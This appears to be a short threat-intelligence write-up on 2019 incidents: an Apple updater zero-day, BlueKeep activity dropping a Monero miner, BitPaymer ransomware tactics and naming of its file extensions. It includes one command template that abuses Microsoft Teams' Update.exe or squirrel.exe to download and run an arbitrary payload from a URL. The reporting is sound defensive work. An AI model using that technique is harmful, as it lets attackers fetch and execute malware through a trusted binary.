0day Bonjour Updater
Oct 10, Morphisec published “the abuse of an Apple zero-day vulnerability in the Apple Software Update utility that comes packaged with iTunes for Windows” , related with #Bitpaymer adversaries.
![](https://pbs.twimg.com/media/EIljwHFWwAAoeiu.png)
BlueKeep
Over the weekend @GossiTheDog, report that his honeypot saw activity related with Bluekeep, working with @MalwareTechBlog they found that the final payload is a #MoneroMiner. Some IOC's shared today are related with this activity.
![](https://pbs.twimg.com/media/EIlkM35XsAEwedP.jpg)
![](https://pbs.twimg.com/media/EIlkM38XsAABHZX.png)
Teams
Other theory is related with Microsoft Teams desktop app that allows downloading and executing arbitrary files on the system through:
[Update|squirrel].exe --[update|download|updateRollback] "url to payload"
![](https://pbs.twimg.com/media/EIlkZ5RXUAAhApV.png)
BitPaymer/IEncrypt
Some times this ransomware is distributed via RDP compromised, fake updates or emails. After it use Empire to move laterally, gain account w/privileges [mimikatz] and PsExec or GPO to deploy it.
![](https://pbs.twimg.com/media/EIlkrA7XYAA4Q3j.png)
![](https://pbs.twimg.com/media/EIlkrA-W4AEd0KM.png)
Targeted attack
the extension .3v3r1s is a proof of this? Maybe no, normally BitPaymer/IEncrypt use the name "PCname_of_company" as extension. In this case they used 1337 for the ext.
Ex:
Krauss-Maffei company, “.kraussmfz”
CMS Nextech company ".cmsnwned"